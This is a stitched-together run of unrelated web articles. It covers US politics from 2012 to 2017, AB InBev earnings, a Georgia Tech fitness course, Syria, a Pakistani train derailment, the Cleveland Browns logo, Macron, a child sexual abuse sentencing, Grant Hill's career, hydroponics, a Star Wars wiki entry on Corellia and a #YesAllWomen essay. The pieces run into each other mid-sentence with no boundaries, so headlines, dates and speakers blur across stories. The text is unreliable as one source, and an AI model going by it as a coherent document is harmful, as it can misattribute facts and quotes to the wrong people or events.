about; it’s just I’ve not yet grown cynical enough to believe that selecting Pepsi over Coke is a viable option for addressing the multitude of challenges our nation faces. This article originally appeared in the Vallejo Times Herald (California). The Best of Paul ArmentanoPresident Donald Trump on Sunday declared that his top adviser, Stephen Miller, had done a "great job" representing him on Sunday shows even though the interviews were widely panned. In interviews on CBS, NBC, ABC and Fox, Miller repeated the same talking points about the president's travel ban, asserting that the judiciary was not the "supreme" branch of government for deciding on the constitutionality of laws. The aide also defended Kellyanne Conway's promotion of Ivanka Trump's clothing line and said that White House Press Secretary Sean Spicer's statements were always "100 percent correct". Viewers took to Twitter to blast Miller's appearance as scripted and robotic. Many accused him of reading his answers off of a teleprompter. Unfazed by the criticism, Trump expressed glowing approval of Miller's performance. Congratulations Stephen Miller- on representing me this morning on the various Sunday morning shows. Great job! — Donald J. Trump (@realDonaldTrump) February 12, 2017 This would be called #AlternateFacts. But that shouldn't surprise you from this administration.Belgium-based brewer Anheuser-Busch InBev BUD, +0.45% said Tuesday that first-quarter beer volumes in its key markets of Brazil and the U.S. fell as it posted first-quarter revenue that missed analyst expectations. MAIN FACTS: -Beer volumes in Brazil fell 8.2% in 1Q as the earlier timing of Carnival and poorer weather hit consumption. High food inflation and a slowdown in the growth of disposable income also weighed and will likely continue to put pressure on volumes in the short term. -Revises outlook for volume growth in Brazil and now expects that beer industry volumes in FY13 will be either flat or down low single-digits compared to FY12. -Had seen beer volumes in Brazil in FY13 growing by low to mid single digits. -Revenue totaled $9.17 billion down from $9.33 billion a year ago and below the $9.64 billion analysts expected. -In the U.S., volumes were hit by short term pressures on consumer disposable income, increased gas prices and difficult weather. -U.S. sales to retailers declined by 3.0% in the quarter, while sales to wholesalers fell 5.2%. -Adjusts Brazilian commercial plans to leverage many of the market programs and pack price strategies that have been used successfully to drive increased demand and expand consumption occasions in the past. -Increased focus on productivity and cost efficiency opportunities to further support Ebitda performance. -Expects 2013 revenue per hl to grow organically ahead of inflation, weighted by country, as a result of continued improvement in mix and revenue management initiatives. -Now sees a volume-related reduction in sales expenses, compared to previous guidance for an increase in sales and marketing investments of high single digits in FY13. -Expectation for 2013 net capital expenditure in 2013 remains unchanged at $3.7 billion. -Normalized Ebit was $2.75 billion, from $2.89 billion last year. -Net profit $2.05 billion, from $1.67 billion. Subscribe to WSJ: http://online.wsj.com?mod=djnwiresNew Wellness Course Incorporates Physical Fitness Since its early days of shop class and drownproofing, Georgia Tech has historically been a place that values physical activity. However, in recent years, the academic curriculum has not incorporated a physical component. That will change this fall when, for the first time in years, undergraduates will be able to complete their wellness course requirement with a course that includes physical fitness. The School of Applied Physiology has created the new Science of Physical Activity and Health course, or APPH 1050, to satisfy students’ longstanding desire to have physical activity be part of the wellness requirement previously only satisfied by Health Concepts and Strategies, or HPS 1040. “We want students to be physically active and know it does more than impact physical health,” said Teresa Snow, academic professional in the School of Applied Physiology and wellness courses coordinator. APPH 1050 is a two-credit-hour class that meets twice a week for 90 minutes each: once for lecture, and once for structured physical activity at the Campus Recreation Center. When signing up for the course, students will be able to choose one of four activities for the duration of the semester: running, weight lifting, yoga, or fitness 101, an option for beginner exercisers that will involve warm-up activities, circuit strength training, cardiovascular conditioning, and cool-down and stretching techniques. A $35 fee for the semester will fund the certified instructors teaching the physical fitness courses. “For students who want to get into an exercise routine, the physical component will establish that and, hopefully, give them something they can carry on after the course,” Snow said. Grading will be predominantly based on attendance rather than performance in physical endeavors, with examinations being used to evaluate work in the lecture portions of the course. For those not keen on physical activity, HPS 1040 will still exist, but will now be called the Scientific Foundations of Health, or APPH 1040. However, a recent survey conducted by the Student Government Association showed overwhelming support for physical activity from undergraduates; when asked on a scale of 1 to 5 how interested they would be in taking a physical wellness class, the average response was 4.15. “By and large from most students we’ve talked to, they’re really interested in some physical component,” said John Miller, a fifth-year industrial engineering major who spearheaded the SGA effort. “Most people look back on their time at Tech and wish they’d done more with the CRC or some physical thing. With this class, more people will develop the habit to work out or go to the gym, specially if they take it early on.” Research done by Miller and former SGA members showed that neighboring universities such as Kennesaw State University and the University of Georgia had physical classes for students. HPS 1040 has not consistently included a physical component since the late 1990s. Students recently voiced the desire for this component in a 2012 Technique article; the request became official at a Feb. 12 Institute Undergraduate Curriculum Committee meeting. “The credit really goes to the students. We had an idea of how it might work, but they really had to push for it and have done a great job,” said Snow. A big-picture hope is that increased physical activity could also permeate other aspects of student wellness. “The more physically active and healthy you are, the less stress you have and the more fit you’ll be mentally and otherwise,” said Miller, who will graduate in May; he is currently enrolled in HPS 1040 after holding out hope for the revised course to come to fruition before his graduation.Social media quickly pounced on Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) for his PowerPoint presentation pushing House Republicans' bill to repeal and replace ObamaCare. Many took to Twitter to call the Speaker "Professor Ryan" as he began the start of his weekly press conference with a presentation to explain the Republicans' plan to overhaul former President Obama's healthcare system. ADVERTISEMENT Ryan's presentation comes amid criticism from both sides of the aisle on the proposed plan. Only been watching this Paul Ryan PowerPoint presentation for 2 minutes, and I can already tell it'll be an even more hilarious SNL skit. — BCP (@b_c_p_source) March 9, 2017 Paul Ryan doing a Powerpoint for more than 4 minutes is literally all he needs to maintain his DC pundit wonk cred for the next 14 years — Jack Mirkinson (@jackmirkinson) March 9, 2017 "Look, I haz PowerPoint! I iz wonk!" -- Paul Ryan. — Madison Kittay (@MadisonKittay) March 9, 2017 For those keeping track, cable news is still on Prof. Paul Ryan and his powerpoint, w/ no commercial breaks. — Hadas Gold (@Hadas_Gold) March 9, 2017 Professor Ryan is currently giving a PowerPoint presentation on health care and congressional procedure. pic.twitter.com/2ujDRxE9lN — Sahil Kapur (@sahilkapur) March 9, 2017 Why does Paul Ryan look like a poli sci professor struggling through a lecture right now? — Nick(@NickZararis) March 9, 2017 This is a good audition for @SpeakerRyan for his guest fellowship at Harvard or the University of Chicago after he resigns in frustration. — Josh Barro (@jbarro) March 9, 2017 Paul Ryan is breaking out the big guns: a PowerPoint presentation pic.twitter.com/nobGpbQsQI — Haley Byrd (@byrdinator) March 9, 2017 I left a meeting to make this pic.twitter.com/mcS7cnAySy — Dan Amira (@DanAmira) March 9, 2017The Russian Air Force’s MI-28NE (Night Hunter) attack helicopters have been a godsend for the Syrian Arab Army (SAA) infantry units operating inside the vast Syrian Desert in east Homs. Why exactly? Well, the Syrian Armed Forces no longer needs to wait until dusk to attack the Islamic State of Iraq and Al-Sham’s (ISIS) defenses; instead, they can strike the aforementioned terrorist group during the twilight hours, thanks in large part to the air cover they receive from the Russian attack helicopters. When the Syrian Armed Forces liberated the ancient city of Palmyra (Tadmur) from ISIS in late March 2016, they were able to advance each night because of the Russian Air Force’s advanced technology that picked off the enemy defenders before the infantry units attacked. The same situation is happening in northern Palmyra right now. Each night, the Russian attack helicopters lead the attack on the ISIS controlled sites in the Palmyra countryside, paving the way for the Tiger Forces to capture well-fortified areas. Without these Russian choppers, the Syrian Armed Forces would be charging ISIS’ defenses in a wide open desert that is very difficult to advance inside of; but, the table has turned now. Every Syrian Army advance in east Homs is backed by a Russian chopper that is weakening the terrorist group’s resistance. https://www.youtube.com/watch?v=sxJb0USHo78 Advertisements‘Peshawar-bound Khushhal Khan Khattak Express was speeding when it derailed’. DERA GHAZI KHAN / MULTAN: Police said on Tuesday that over 100 people had been injured when a Peshawar-bound train derailed near Rajanpur’s Umerkot area. SP Muhammad Fazlur Rehman said Khushhal Khan Khattak Express appeared to have derailed as it was speeding and the railway track was feeble. Ruling out rumours that a remote-controlled bomb had been planted at the railway track, Rehman said there was no sign of an explosion or hole on the railway track and its vicinity
Football League. This prompted a reshuffling of franchises into two conferences, and the Browns — along with the Steelers and Colts — joined the American Football Conference in 1970. Their designated logo was a graphic representation of their helmet — a plain orange helmet — and so it remains — for now. Along the way there was, however, a close call. In 1965, the Browns were ready to take the field with helmets featuring an interlocking “CB,” designed by NFL Properties creative director David Boss. That never happened. There are many theories on why it never happened, but we do have many images of what might have been. Here is one such example, depicted on the program from the 1965 NFL Championship Game (which the Browns lost to the Packers, 23-12.) The Browns, of course, left Cleveland for Baltimore after the 1995 season. A settlement was reached in February 1996 which stipulated a new Browns team would begin play in 1999, and that the name and colors would remain in Cleveland, along with the team’s history, records and awards. The fact the colors were so central to the franchise's resurrection ensured the expansion Browns' uniforms would duplicate where the team left off, a franchise frozen in amber, by design. Team logo changes usually take place for several well-defined reasons, and this change is the result of a string of disappointing seasons. These kinds of changes are seldom made when things are going well. What gets unveiled on Tuesday? Look for something that embraces tradition, a minimalist approach with a retro look. In terms of imagery, the Browns have already done dogs and elves, as well as the solid block “B” within a football that has been used since 2003. Some teams are easier to portray than others — the Colts can use a horseshoe, the Dolphins are identified by a dolphin — but what embodies a “Brown?” We will soon find out. Another educated guess would be that opinions will be vocal and loud. Fans love their logos, even when they aren’t in love with their teams. Todd Radom is a contributor on logos, design and visual history for Sporting News. He is a graphic artist who has been designing logos and uniforms for professional teams for more than 20 years.President Obama, after winning a second term, is facing renewed pressure to approve the Canada-to-Texas Keystone XL pipeline as one of his first orders of business. The president had delayed approval of the project in January, amid vocal opposition by environmentalists. The decision created a rare alliance -- both Republican lawmakers and unions clamored for an end to the stonewall, pointing to the thousands of jobs that could come with Keystone. Now that Obama has secured another four years, he doesn't have to walk the tightrope between the Sierra Club and the AFL-CIO. And everyone from Canadian officials to energy industry magnates voiced hope this week that the Obama administration would ultimately side with the jobs. The latest was Canadian Prime Minister Stephen Harper, who according to Reuters said in India Thursday that he's "optimistic" the pipeline will be approved. "Evidently the next steps will be very soon," he said. Mitt Romney, for his part, pledged to green-light the project on Day One if he had been elected. American Petroleum Institute President Jack Gerard indicated there's no reason Obama can't do the same. "Right off the bat, the president can approve the Keystone Pipeline and put thousands of Americans to work immediately," Gerard said in a statement. The $7 billion pipeline project, which would transport tar sands crude from Canada to the Gulf of Mexico, emerged at the center of an international fracas involving dozens of interest groups, the governments of Canada and the U.S., and a steady parade of celebrity protesters. The State Department last fall postponed a final decision on the permit, before Obama in January rejected the application -- in response to an effort by Republicans to compel a decision. Since then, though, company TransCanada has submitted a new application that would reroute the project around the environmentally sensitive Nebraska region of Sand Hills. Opponents of the project have cited environmental and health concerns -- since the original route through Nebraska passed by a vital aquifer. They also cite the greenhouse gas emissions from oil sands production. Keystone foes also weren't letting up. A coalition of environmental activists -- from the Sierra Club, Greenpeace and other groups -- swiftly announced a protest outside the White House on Nov. 18. In a post-election open letter, they renewed their concerns that the pipeline would "transport one of the world's dirtiest, most carbon-intensive fuels." It continued: "Now that the election is over a decision by the president is imminent-the administration has hinted a decision could come in the first quarter of 2013. Here's what's changed since last year: the Arctic has melted disastrously. Here's what hasn't changed: Keystone XL is still a crazy idea, a giant straw into the second biggest pool of carbon. Even if it doesn't spill, it would add 900,000 barrels of oil worth of carbon each day to the earth's atmosphere." Canadian officials, though, continue to press hard for the project's approval. Canada's natural resources minister went further than Harper, saying he thinks the project will ultimately be approved. "I don't know exactly why he postponed it, but the point is right now we're not in the middle of an election campaign and it will be decided by the administration on its merits," he told Bloomberg.Setting their sights on the next big delegate prizes, the presidential candidates descended on New York and Pennsylvania on Wednesday afternoon, with Senators Ted Cruz and Bernie Sanders looking to extend the momentum from their Wisconsin victories while Donald J. Trump and Hillary Clinton work to regain their footing after stinging defeats. Mr. Trump and Mrs. Clinton, who still have wide delegate leads in the Republican and Democratic nominating contests, will be working furiously to win New York, where their opponents are devoting significant resources to try to score upsets in the delegate-rich state in its April 19 primary. With both candidates having deep roots in the state, losses would be especially painful. Mr. Trump, who has been uncharacteristically quiet on Wednesday, planned an evening rally that is expected to draw thousands of supporters. A poll released Wednesday showed Mr. Trump with more than 50 percent support, and showing particular strength in New York City, Long Island and western New York. Still, the pressure is intense on Mr. Trump, who is enduring the most challenging stretch of his insurgent candidacy. His rally in Bethpage, Long Island, which is expected to draw up to 10,000 people, comes after a week of damaging questions about his treatment of women and knowledge of policy. And his double-digit defeat in Wisconsin further emboldened the Stop Trump movement within the Republican Party.The election of President Emmanuel Macron, on May 7th, was the most momentous event in France this year. He has already invigorated a flagging European Union and restored French influence in world affairs. Yet it was extremely unlikely that Macron would be elected. He was too young, inexperienced and a centrist in a country prone to extremes. And he had no party machine behind him. Macron stepped into the void created by Brexit, Donald Trump’s presidency and Angela Merkel’s political difficulties. He “could even become the de facto leader of the free world”, the Washington Post suggested on December 10th, a day after the New York Times called him “the public face of Western diplomacy in the Middle East”. Macron’s activism has affected policies in Dublin. The government is hunkering down to resist the French leader’s drive for fairer taxation of tech giants, a possibility the Taoiseach’s entourage deems as great a threat to the Irish economy as Brexit. With Merkel’s support Macron revived a provision in the Lisbon Treaty for permanent structured co-operation in defence – the Pesco agreement – which the Dáil voted to join on December 7th. Dublin launched the Future of Europe initiative in November, in response to Macron’s call for a Europe-wide citizens’ dialogue on the subject. To this correspondent, who covered both leaders, Emmanuel Macron appears more courageous and less idealistic than Barack Obama All of these topics were elements of Macron’s landmark 100-minute speech at the Sorbonne on September 26th. If Europe is to count in the world, he argued, EU members must pool sovereignty on security, terrorism and migration, because they are too big for any single country to address effectively. Until Macron’s victory there seemed to be no stopping the rise of anti-EU populism. Regardless of how many Macron proposals come to fruition, he is driving the debate, with rapid-fire proposals to create a European monetary fund, European migration agency and European Ivy League. He proposes replacing Britain’s 74 MEPs in the 2019 European parliamentary elections with members elected from transnational lists. Macron’s political movement, En Marche!, is positioning itself to become a Europe-wide party. Merkel and the European Commission accept Macron’s idea for a euro-zone finance minister but disagree on what the minister’s prerogatives would be. “A mixture of Gallic logic and alpha-male charm”: Emmanuel Macron with his wife, Brigitte Trogneux. Photograph: Eric Feferberg/AFP/Getty When the German city of Aachen awarded its prestigious Charlemagne Prize to Macron, on December 8th, it cited his “vision of a new Europe and of the re-establishment of the European project, of a new European sovereignty and a close, restructured co-operation between peoples and nations”. Some compared the honour to the Nobel Peace Prize given to Barack Obama in 2009 “for making speeches”. To this correspondent, who covered both leaders, Macron appears more courageous and less idealistic than Obama. The former US president endorsed Macron shortly before the May 7th election and had lunch with him at the Élysée on December 2nd. Macron’s winning streak continues. Since his election Paris beat Dublin to secure the European Banking Authority and France won the race against Ireland and South Africa to host the 2023 Rugby World Cup. Paris also won the 2024 summer Olympics, and the former French culture minister Audrey Azoulay was chosen to head Unesco. Macron’s style is, in the words of Roger Cohen of the New York Times, “a mixture of Gallic logic and alpha-male charm”. Unlike his predecessors, Macron relishes giving speeches and interviews in English. Older politicians appear enchanted by Macron. Angela Merkel was radiant during his first presidential trip to Berlin Older politicians appear enchanted by Macron. Angela Merkel was radiant during his first presidential trip to Berlin. The US billionaire Michael Bloomberg beamed when Macron spoke at the December 12th One Planet Summit, which Bloomberg helped finance. “On our side we have the force of pioneers, endurance, certitude and the energy of those who would like to build a better world,” Macron told the United Nations General Assembly in September, referring to the battle against climate change. On climate change, the nuclear accord with Iran and the status of Jerusalem Macron has emerged as the anti-Trump. He nonetheless manages to maintain what he calls an “extremely direct” relationship with the US president. Macron is a pragmatist who has no compunction about selling weapons to Saudi Arabia, Egypt and Qatar. He prefers not to get involved in the Israeli-Palestinian question, because to do so would be messy and thankless. At the same time he thwarted Saudi meddling that threatened to destabilise Lebanon, and he strives to end the war in Syria. In domestic politics Macron and En Marche! have enfeebled the Socialist and conservative Les Républicains parties, and marginalised extremists. He signed a revolutionary reform of the labour code, which makes it easier to hire and fire in France, on September 22nd. An in-depth study by the Cevipof think tank published in early December shows that, while the majority of the French reserve judgment until they see the results of Macron’s policies, their confidence in the future is growing.Married mother sentenced to 15 years in jail after raping her son's 13-year-old friend and sending him creepy love letters along with his breakfast burrito A mother was sentenced to spend 15 years in jail for sexually abusing her son's teenage friend and she doesn't even seem sorry about the trauma she caused. Amy Blose, 38, was giggling and smiling throughout her sentencing hearing in Cleveland County, Oklahoma on Friday. She was even reprimanded by the judge and criticized by the victim's family and friends for not showing any remorse for her actions. SCROLL DOWN FOR VIDEO Hiding: Blose stayed silent and hid her face from cameras as she left the sentencing on Friday where she was ordered to spend 15 years behind bars 'Hey, babe, I love you forever': Amy Blose, 37, was jailed for having sex with a boy of 13. She is now accused of smuggling him a love note 'It’s heartbreaking she doesn’t take responsibility and stand up and say she’s sorry,' friend Stephanie Odle told local station KFOR. Guilty: Blose, a 38-year-old mother and nurse, entered a no contest plea to the charges last year Though Blose, a nurse, entered a no contest plea against the charges of rape, sodomy, and lewd molestation in April 2011, the case has had a share of legal back-and-forth. After her initial arrest, Blose told police she had a'special relationship' with the boy. The affair was discovered by the boy's mum who found inappropriate text messages on his cell phone. She was charged with rape and other sexual offences and allowed to leave jail on $20,000 bail. As part of her bail conditions she was ordered not to contact her victim or any other teens under the age of 18, but she broke that command when she tried to give the boy a love note. The then-37-year-old nurse wrote 'Hey, babe, I love you forever' to her former under age lover. 'Hey, babe, I love you forever': The love note written to the boy, 13, was tucked in the wrapper of a breakfast burrito No third chance: Blose is now being held without bail until November when a preliminary hearing for her trial has been set A 15-year-old girl told a bail revocation hearing at Cleveland County Court in October that Blose wrote a message on a breakfast burrito wrapper and asked her to give it to the teen. Angela George, a friend of the victim, said: 'She is like a spider. 'She pulls them into her web. She has used the other kids to get to her victim again. In the process, she has made those kids victims because they are friends with the defendant.' Angry parents branded the mother of two a 'predator' who should not be allowed to have contact with teenagers. After she is released from prison, she will have to register as a sex offender for the rest of her life. WATCH THE VIDEO HEREGrant Hill was on the fast track to stardom. Hill’s career can be summed up in four chapters. He started his career at Duke, then had a great start to his NBA career with the Detroit Pistons. That was followed by a big contract and a string of 7 years with injuries with the Orlando Magic. After he left he Magic he didn’t have many more injury problems and went on to have six solid seasons with the Suns and Clippers. Grant Hill exceeded every expectation given to him. Grant Hill had parents who were very influential in his life and career. His father, Calvin Hill, went to Yale and was in the same fraternity as President George W. Bush. Calvin Hill played football there and would become a first round pick by the Dallas Cowboys in 1969. With the Cowboys he won Rookie of the Year, a Super Bowl, and was named a Pro-Bowler four times. His mother is a graduate of Wellesley College where she shared a suite with Hillary Clinton. As a star high school basketball player, Grant was named to the 1990 McDonald’s All American game for the nation’s best senior players. Grant Hill then went to college at Duke where he would have one of the best careers in college basketball history. As a freshman and sophomore in 1991 and 1992, Hill helped guide Duke to National Championships. However, he was not the star of the team yet. That role belonged to Christian Laettner and Bobby Hurley. In the 1992 Elite Eight against Kentucky, Duke was down one with 2.1 seconds to play. Hill was in bounding from the other side of the floor and football passed it to Christian Laettner who caught it at the free throw line, dribbled and took potentially the greatest shot of all time as he made the game winner and ran across the floor sending Duke to the Final Four. As a Junior, Hill and Bobby Hurley were the stars. Hill averaged 18 points per game that season. Unfortunately, Duke lost in the second round of the NCAA Tournament. Although they lost early, Hill won National Defensive Player of the Year which led to a lot of optimism for Duke the next season. In his Senior year, Hill led Duke back to that National Championship game. The 1994 title game was very good, Arkansas and their “40 Minutes of Hell Defense” proved to be too much for the whole country as they cruised through the NCAA Tournament and beat Duke 76-72 in the Finals. During his senior year, Hill again won Defensive Player of the Year. He also was named ACC Player of the Year and was a First Team All American. Duke quickly retired his number 33. The Detroit Pistons took Grant Hill 3rd overall in the 1994 NBA Draft. Hill lived up to the hype. His rookie season he averaged 19.9 points per game and was named Co-Rookie of the Year along with Jason Kidd who was taken 2nd overall. Hill led the NBA in All Star votes during his rookie season which was the first time a rookie had the most. In Hill’s six seasons in Detroit he was voted Second Team All-NBA four times, he was voted to the First Team once, in 1997, and in 1996 he was one of the players chosen to represent Team USA in the Olympics that went on to win the Gold Medal. In his last year with the Pistons, Hill scored 25.8 points per game which made him a major player in free agency that summer. During his time in Detroit he picked up endorsements from McDonalds, Tag Heuer and shoe company Fila. The contract with Fila was worth more than 90 million dollars. Later in his career he would sign with Nike and Adidas. Following the six strong seasons for the Pistons, Hill moved on to Orlando on a seven year contract worth more than 90 million dollars. His time in Orlando was a trainwreck. Originally, Orlando thought that Hill and Tracy McGrady would be able to team up and make the Magic contenders. Because of ankle injuries Hill only played in four games his first year, 14 games his second year, 29 in his third year, and he missed every game in his 4th year. In his 5th year Hill played in 67 games and averaged 19.7 points per game, which was by far his best year in Orlando. It is amazing that he missed so much time and still be able to comeback and average more than 19 points a game. Year six was unfortunate, he only played in 21 games because of a groin injury. But his 7th and final year in Orlando was a lot better, he appeared in 65 games and averaged 14.4 points per game. Overall, his time in Orlando was rough for Grant Hill and for the Magic. Hill had to go through numerous surgeries, and the Magic went through more than 90 million in order to pay for him. After Orlando, Grant Hill went to Phoenix for much less money, which is ironic because he was able to play in almost every game for the Suns. He played in 70, 82, 81, 80 and 49 games respectively in his five years there. Although he didn’t put up monster numbers in Phoenix, he was very consistent averaging at least 13 points per game all five seasons. For someone in their mid 30’s coming off many major surgeries, that number is remarkable. The 2012-2013 NBA season was Hill’s last. Playing for the Clippers, he once again fought injuries and averaged 7.7 points per game as a role player. His final performance came in the playoffs where Hill scored four points. In his career, Hill made roughly 140 million in salary and another 125 million in endorsement money. Few players have made more money than that. Grant Hill now will spend his time working with his various charities as well as spending more time with his family. In 18 NBA seasons, Hill averaged 16.7 points per game. Hill was known as a very tough player who would draw fouls. Five different seasons he was in the top five for most free throws made. He appeared in seven All Star Games as well. Six of them were with the Pistons and his final one came with the Magic in 2005. Grant Hill had a great career and if he hadn’t been injured he might have been one of the top players in NBA history. You can follow Thomas Frey on Twitter: @ThomasFreyRPMany growers use a soil-like mix consisting of perlite mixed with other things such as coco coir or vermiculite. Both perlite and vermiculite are synthetic materials that are air puffed or heated until puffed (respectively) to produce a light and porous material that is excellent for oxygen retention. This media has many of the same benefits of coco, but any hydro system using it needs a very good filtration system to keep particles out of their recycled solution and water pumps. Growstones are recycled glass that’s been mixed with calcium carbonate to form a lightweight and porous substance similar to lava rocks, as in the case of pumice. Growstones are entirely sustainable and have fantastic water and air retention. As a trade-off, growstones are almost impossible to clean and re-use. Their porous nature leads to roots growing within the rocks and leaving behind plant matter that can affect your next crop. Be careful when transplanting from a growstone medium as they grip roots more easily, which can lead to root damage. Depending on whether you need water retention or drainage, are worried over oxygen content of your water, or just need to avoid pH imbalanced mediums, there is always an option available. What do you use for your media and system? We’d love to hear about it in the comments below. You can also send us images of your systems through Facebook, Twitter, Google Plus, LinkedIn, Pinterest, or Instagram!Master Qui-Gon, more to say, have you? It is requested that this article, or a section of this article, be expanded. "Well, I admire anyone who can crawl their way out of the sewer. Especially a sewer as putrid as Corellia." ―Dryden Vos, to Han Solo [src] Corellia was a planet located in the galaxy's Core Worlds known for its ace pilots and large starships.[16] Vessels such as the Millennium Falcon[17] and Imperial starships were built on Corellia. It was the homeworld of Han Solo, Qi'ra,[5] Wedge Antilles, Crix Madine, BoShek,[18] the Besalisk Gadren,[13] the bounty hunters Dengar[19] and Mercurial Swift,[20] and the Jedi younglings Kalifa,[21] Petro,[22] and Wanten of the First Order.[23] Contents show] Description Edit Corellia was located in the Corellian sector[2] in the Core Worlds. It had a temperate climate and was covered in forests, jungles, and urban centers.[1] One major city was Coronet City (also the planet's capital), which was home to shipyards used to build TIE fighters and Star Destroyers for the Galactic Empire.[8] The planet's human inhabitants were called Corellians[13] and were known for their wanderlust.[1] Besides humans, Corellia was also inhabited by several alien species including Barbadelans,[8] Besalisks,[13] Czerialans, Grindalids,[8] Kel Dor, Pa'lowicks, Rodians, Sullustans,[5] Twi'leks, and Ugor.[8] In addition, Corellia was also home to several native fauna including Corellian hounds[1] and fleek eels.[12] History Edit Early history Edit An ancient Core World, Corellia was known through the galaxy for the Corellian people's wanderlust and its massive shipyards. In the millennia leading up to the Imperial Era, Corellia played a key role in the expansion of galactic civilization.[1] Age of the Empire Edit By the time of the Galactic Empire, Corellia was a faded industrial world that was used to build TIE fighters and Star Destroyers for the Imperial Navy Many impoverished Corellian commoners sought to escape their homeworld for a better life.[1] By 13 BBY, the Corellian Security Forces including its emigration officers had become an extension of the Imperial security forces on Corellia.[12] Several crime syndicates including Lady Proxima's White Worms operated in the coastal Coronet City.[24] The White Worms used local street urchins called scrumrats as vermin-catchers, pick-pockets, errand runners, and crime operatives.[25] Two notable scrumrats were Han and Qi'ra who sought to escape the White Worms and Corellia by going offworld.[8] After escaping the Den of the White Worms, Han and Qi'ra tried to escape through Coronet Spaceport by bribing an emigration officer. However, Qi'ra was recaptured. Han managed to travel offworld and join the Carida Academy as an Imperial cadet with the hopes of becoming a pilot. Due to his insubordination however, Solo was reassigned to the Imperial Army and became a Swamp trooper on Mimban. Meanwhile, Qi'ra became a lieutenant in the Crimson Dawn crime syndicate.[8] Around ten years before the Battle of Yavin, an organization known as the Corellian Resistance operated on the planet, fighting against the Empire. One of their members, Miru Nadrinakar, attempted to warn them of an upcoming crackdown.[27] Rise of the New Republic Edit Following the Battle of Endor in 4 ABY, the bounty hunter Dengar tried to offer Mercurial Swift the opportunity to work in a partnership. However, the younger bounty hunter refused and the two men fought. Dengar warned Swift that the New Republic, the successor to the Alliance to Restore the Republic, would be imposing bounties on bounty hunters and that bounty hunters needed to form a union to work together. However, Swift ignored his advice.[7] In 5 ABY, the dark side cult Acolytes of the Beyond recruited a low-class Corellian Pantoran girl named Kiza. The Acolytes worshiped the Sith and the dark side.[20] That year, the Acolytes staged an attack on Coronet City so that Kiza and a boy named Oblivion could infiltrate the Peace and Security Headquarters and steal a Sith lightsaber from the archives beneath the prison. In the process, Kiza killed numerous Peace and Security officers while Oblivion severed detective Erno's blaster hand.[28] In the months leading up to the Battle of Jakku, there was closer cooperation between the New Republic and Corellian law enforcement. Coronet City Peace and Security began linking its records to the growing New Republic database. This allowed Norra Wexley and her team to track down the bounty hunter Swift.[20] Behind the scenes Edit Corellia was first mentioned in the 1977 film Star Wars: Episode IV A New Hope, the first installment of the Star Wars original trilogy. It went to appear in several spin-off media, including both Star Wars Legends and canon works, before making an onscreen appearance in the 2018 Star Wars Anthology film Solo: A Star Wars Story.[8] In the DVD commentary of Solo, set decorate Lee Sandales revealed that the film's crew pictured Corellia as the Star Wars version of Venice, Italy, specifically an "industrial" Venice. Filming of Corellia scenes took place in Southampton, England. Additionally, during the film's development, Lucasfilm Ltd. design supervisor James Clyne was asked by the filmmakers to design a complete map of Corellia for the chase scene. Clyne did so, and he drew designs too for other locations, such as the Death Star and Cloud City. Appearances Edit Non-canon appearances Edit Sources Edit Notes and references Edit(Hi again! I’m basically the least consistent writer ever. But this is on my mind and I wanted to try to write about it if I could. Warning: I think I’m pretty frank, and also I swear a fair amount. Also, I am writing from my perspective, not as a representative of women. Just as a representative of me. That said, I make the assumption that a lot of what I have experienced in the realm of sexual harassment/assault/intimidation is pretty across the board for women in my culture. The #YesAllWomen meme resonates strongly with me). Like most of my friends, much of the news, and many of the writers I follow, I’ve been caught up in the terrible, horrible killing spree of Elliot O Roger, his misogynist manifesto, and what this event reflects about our larger cultural reality. And, like many (much better than me) writers and culture observers, I’ve observed that for women, the response is a kind of quick, frustrated rage while for men the response is a kind of shocked surprise. Terms like rape culture are being used (or studiously avoided). And the seemingly diametrically opposed hashtags #NotAllmen and #YesAllWomen have sprung into a kind of intensified existence. Driving home today, all of this reminded me of a conversation I had with a very good (male) friend about a year ago. We were talking about a local writer we both adore, and discussing her increasingly sharp tone in discussing how women were portrayed in movies and television. My friend observed that he was growing kind of uncomfortable with how unceasing she was in pointing out the objectification of women, the ritual humiliation, and “the general shittiness” of the movie industry in general. He observed that as a male, he felt both helpless to change the larger culture and also like he couldn’t participate in the conversations that our female friends were having on these topics without being disruptive. He also felt like there was an undertone that perhaps all men were being tarred with the same brush. I remember most his comment that it was all so “depressing and fucking exhausting.” Well. Yes. Speaking as a woman, it is actually all so depressing and fucking exhausting. I didn’t say that to my friend at the time, because he had reached out to talk to me about this stuff and because I wanted to be supportive, and also because I really did agree with him and felt grateful that he, as a dude who really can chose not to feel all of those sucky feelings, chose to feel them. In fact, I didn’t even think to say that to my friend- I was really focused on listening to him and supporting him and validating his experiences, and it wasn’t until later in the evening, when I feeling kind of irritated and wasn’t clear why, that I sat down and thought about it and realized that there was a kind of frustrating irony in validating to a guy about how horrible it must feel to listen to the general experiences that I, as a woman, just sort of have learned to deal with. And then I didn’t say anything to anyone about it, because what was there to say? Yes, it pretty much sucks that a not small segment of the population sees me essentially as an object whose job is to be pleasing to them, and who thinks it is appropriate to punish me if I fail at that job. Yes, it sucks that I sometimes come in contact with individuals who compose that segment, and I don’t really get to control when that happens, and yes, it sucks that the experience can range from mildly degrading to physically threatening to bodily harm (and, as we have seen, to death). And yeah, I can imagine it sucks a whole lot to hear about that. And in a kind of snarky way, it sort of sucks even to support a friend in their emotional process in hearing about your experience. But since there didn’t seem to be any value in articulating that thought, and also because it isn’t at all my very good friend’s fault that all of this suckiness exists, I just tried to let it go and move on. But today, driving home, thinking about all of what is going on, and about the conversations I see happening and the conversations I don’t see happening, it occurred to me that there was actually a way I could look at that exchange in a light where it could make sense, and where there could be something productive in talking about it. And I think it ties in to the larger conversation, and so I’m going to try to do my best. Here goes. I.) It actually really does hurt to hear painful stories. When I began my master’s program in counseling (sorry, dudes. This is going to be a counseling reference heavy essay. Counseling, misogyny, the misdeeds of my cat, getting my house ready for summer visitors and how much I love watching Veronica Mars with my husband- those are basically the major themes of my life lately, so those be the waters I am drawing from. You’ve been warned) one of my favorite instructors, a decades long veteran of the field, said again and again to us that the dangers of asking a client to share their stories did not lay in traumatizing the client, but in traumatizing ourselves. “Your client has already lived through there situation- they’ve survived it enough to tell you about it, so the act of telling isn’t going to hurt them. But you- you don’t know their situation, you haven’t earned the callouses yet to protect yourself from it. You are the person who is most likely to be hurt at first. You have to figure out a way to deal with that.” These incredibly wise words (thank you, Colin Ward!) are, I think (and experience) powerfully true. If someone is sharing their story with me in a therapeutic setting, they are a) alive and b) 